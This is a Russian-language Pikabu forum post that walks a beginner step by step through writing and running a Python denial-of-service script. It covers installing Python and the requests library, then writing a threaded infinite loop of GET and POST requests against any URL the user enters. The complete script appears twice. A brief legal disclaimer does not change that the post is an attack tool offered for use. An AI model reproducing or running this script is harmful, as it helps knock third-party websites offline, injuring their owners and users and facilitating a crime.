OneStoper

OneStoper

На Пикабу
поставил 32562 плюса и 66 минусов
19 рейтинг 4 подписчика 4 подписки 1 пост 0 в горячем

Уничтожение сайта скриптом на Python в половину странички!

Уничтожение сайта скриптом на Python в половину странички! Безопасность, Сайт, DDoS, Python, Скрипт, Просто, Windows, Длиннопост

Здравствуйте друзья!

Сегодня хотел бы рассмотреть такую тему как DDOS атака на сайт в глазах профессиональной аудитории IT сообщества.

Проще говоря DDOS атака программистом.



Пост создан только в благих целях! Используя DDOS как средство атаки на чужой сайт вы нарушаете 273. статью УК РФ.

Начнем! Для начала вы должны установить Python (сделать это вы можете на оф.сайте языка: https://www.python.org/downloads) 

Выбираете доступную вам версию- и скачиваете установщик.

Уничтожение сайта скриптом на Python в половину странички! Безопасность, Сайт, DDoS, Python, Скрипт, Просто, Windows, Длиннопост

Установка:

Правильная установка очень важна!

Для этого мы открываем установщик и в первой же вкладке ОБЯЗАТЕЛЬНО отмечаем галочкой пункт "Add to path"!

Уничтожение сайта скриптом на Python в половину странички! Безопасность, Сайт, DDoS, Python, Скрипт, Просто, Windows, Длиннопост

Далее нажимаем на кнопку "Install now" и собственно производим саму установку языка.

После того, как язык успешно установился на наш компьютер, мы должны установить "библиотеку" (как бы дополнение к нему).

Это делается очень просто!

Открываем командную строку windows(CMD)- это можно сделать если найти ее в меню "пуск", набрав в поиске "CMD" или зажав комбинацию клавиш Win + R и так же набрав в окне "открыть"

"cmd",  далее нажать "ENTER" или "Ок".

После того, как мы открыли командную строку, вводим в ней команду для установки библиотеки:

pip install requests

Ждем устаноки библиотеки, на экране появляется текст. Установка длится от 3 до 40 секунд.

Дожидаемся финальной надписи "Sucefully installed requests" и переходим к написанию самого скрипта.

Скрипт.

Чтобы начать писать скрипт нам нужно открыть среду разработки и напиcания кода Python(IDLE)

Заходим в меню "пуск" и набираем в поиске "Python"

Находим название IDLE(Python *версия*) и запускаем. 

Вот что мы видим далее:

Уничтожение сайта скриптом на Python в половину странички! Безопасность, Сайт, DDoS, Python, Скрипт, Просто, Windows, Длиннопост

Нам необходимо создать новый файл. Для этого переходим во вкладку "File"  и нажимаем на "New file"

Уничтожение сайта скриптом на Python в половину странички! Безопасность, Сайт, DDoS, Python, Скрипт, Просто, Windows, Длиннопост

Пишем!

Полный, готовый код находится в самом низу!

Начинаем писать код!

первое что нам нужно сделать это подключить библиотеку "requests", которую мы установили.

для этого напишем :

import requests

Далее подключаем библиотеку "Thread" из библиотеки "threading", "Thread" пишется именно с большой буквы!

from threading import Thread

Мы подключили все нужные библиотеки, время сделать пользовательский ввод адреса сайта и силы(поточности) DDOS атаки.

url = input('Url: ')

thrnom = input('Threads: ')

Круто! Теперь при запуске программы, она попросит ввести нас адрес сайта, на который будет совершаться атака и силу атаки(в потоках)(со средним интернетом и средним ПК больше 800 ставить не советую!)

Настало время написать ту часть программы, которая отвечает за сам DDOS.

Для этого мы создадим функцию- бесконечный цикл и в ней две функциональных переменных, которые отправляют запросы.

def ddos():

while(1<10):

spam = requests.post(url)

spam2 = requests.get(url)

Функция создана! Осталось совсем чуть-чуть!

Давайте сделаем чтобы функция была поточной, и силу DDOS можно было регулировать

for i in range(int(thrnom)):

thr = Thread(target = ddos)

thr.start()

И в конце дописываем

print('DDOS is running...')

Чтобы знать что атака началась и идет.

Все! Скрипт написан!

Теперь сохраните файл зажав комбинацию клавиш ctrl + Shift + S или через меню "File" - "Safe as"

Находите свой файл и запускаете двойным кликом, вводите адрес, через "Enter" -силу(поточность) и повторным нажатием на "Enter" запускаете атаку.


Вот весь код программы:



import requests

from threading import Thread

url = input('Url: ')

thrnom = input('Threads :')

def ddos():

while(1<10):

spam = requests.post(url)

spam2 = requests.get(url)

for i in range(int(thrnom)):

thr = Thread(target = ddos)

thr.start()

print('DDOS is running...')

Показать полностью 4
Отличная работа, все прочитано!